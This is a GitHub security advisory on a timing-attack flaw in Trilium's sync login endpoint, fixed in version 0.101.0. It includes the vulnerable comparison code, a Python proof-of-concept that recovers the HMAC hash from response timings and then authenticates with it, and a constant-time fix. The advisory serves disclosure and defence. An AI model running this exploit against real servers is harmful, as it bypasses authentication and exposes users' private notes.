Skip to content

Timing Attack Vulnerability in /api/login/sync (CWE-208)

High
perfectra1n published GHSA-hxf6-58cx-qq3x Feb 6, 2026

Package

docker triliumnext/trilium (docker)

Affected versions

<= 0.100.1

Patched versions

0.101.0

Description

Summary

A critical timing attack vulnerability in Trilium's sync authentication endpoint allows unauthenticated remote attackers to recover HMAC authentication hashes byte-by-byte through statistical timing analysis. This enables complete authentication bypass without password knowledge, granting full read/write access to victim's knowledge base.

Details

Vulnerable Code Location:

  • File: apps/server/src/routes/api/login.ts
  • Function: loginSync()
  • Line: 111

Root Cause:
The vulnerability exists in the HMAC hash comparison logic:

const documentSecret = options.getOption("documentSecret");
const expectedHash = utils.hmac(documentSecret, timestampStr);
const givenHash = req.body.hash;

if (expectedHash !== givenHash) {  // VULNERABLE - Non-constant-time comparison
    return [400, { message: "Sync login credentials are incorrect..." }];
}

JavaScript's !== operator performs byte-by-byte comparison with early-exit behavior, creating measurable timing differences that leak information about which bytes are correct.

The attack requires >100k requests, >1k different IP addresses due to rate limiting, and network jitter between the attacker and the Trilium server must be consistently stable.

PoC

Attack Methodology:

  1. Send 64 requests per character position with different guesses (A-Z, a-z, 0-9, +, /, =)
  2. Measure response time for each request using high-precision timers (time.perf_counter())
  3. Character with longest average response time = correct byte (more comparisons = more time)
  4. Iterate through all 44 positions to recover full hash
  5. Use recovered hash to authenticate to /api/login/sync endpoint

Proof of Concept Code:

#!/usr/bin/env python3
import requests, time, statistics
from datetime import datetime, timezone

TARGET_URL = "http://victim-trilium.com"
SAMPLES_PER_BYTE = 50

class TimingAttack:
    def __init__(self, target_url):
        self.target_url = target_url
        self.session = requests.Session()
    
    def get_timestamp(self):
        return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] + "Z"
    
    def measure_response_time(self, hash_guess, timestamp):
        payload = {"timestamp": timestamp, "syncVersion": 34, "hash": hash_guess}
        start = time.perf_counter()
        self.session.post(f"{self.target_url}/api/login/sync", json=payload, timeout=5)
        return (time.perf_counter() - start) * 1000
    
    def recover_byte_at_position(self, known_prefix, position):
        charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
        timing_results = {}
        
        for char in charset:
            guess = (known_prefix + char).ljust(44, 'A')
            samples = [self.measure_response_time(guess, self.get_timestamp()) 
                      for _ in range(SAMPLES_PER_BYTE)]
            timing_results[char] = statistics.mean(samples)
        
        return max(timing_results, key=timing_results.get)
    
    def recover_full_hash(self):
        recovered = ""
        for position in range(44):
            char = self.recover_byte_at_position(recovered, position)
            recovered += char
        return recovered

# Execute attack
attacker = TimingAttack(TARGET_URL)
stolen_hash = attacker.recover_full_hash()

# Authenticate using stolen hash
auth = requests.post(f"{TARGET_URL}/api/login/sync",
    json={"timestamp": attacker.get_timestamp(), "syncVersion": 34, "hash": stolen_hash})
print(f"Authentication successful: {auth.status_code == 200}")

Recommended Fix

Replace non-constant-time comparison with Node.js's crypto.timingSafeEqual():

// BEFORE (VULNERABLE):
if (expectedHash !== givenHash) {
    return [400, { message: "Sync login credentials are incorrect..." }];
}

// AFTER (SECURE):
const crypto = require('crypto');
const expectedBuffer = Buffer.from(expectedHash);
const givenBuffer = Buffer.from(givenHash);

// Check length first (not timing-sensitive)
if (expectedBuffer.length !== givenBuffer.length) {
    return [400, { message: "Sync login credentials are incorrect..." }];
}

// Constant-time comparison prevents timing attacks
if (!crypto.timingSafeEqual(expectedBuffer, givenBuffer)) {
    return [400, { message: "Sync login credentials are incorrect..." }];
}

Remediation

This has been fixed as of #8129.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

CVE-2025-68621

Weaknesses

Observable Timing Discrepancy

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not. Learn more on MITRE.

Credits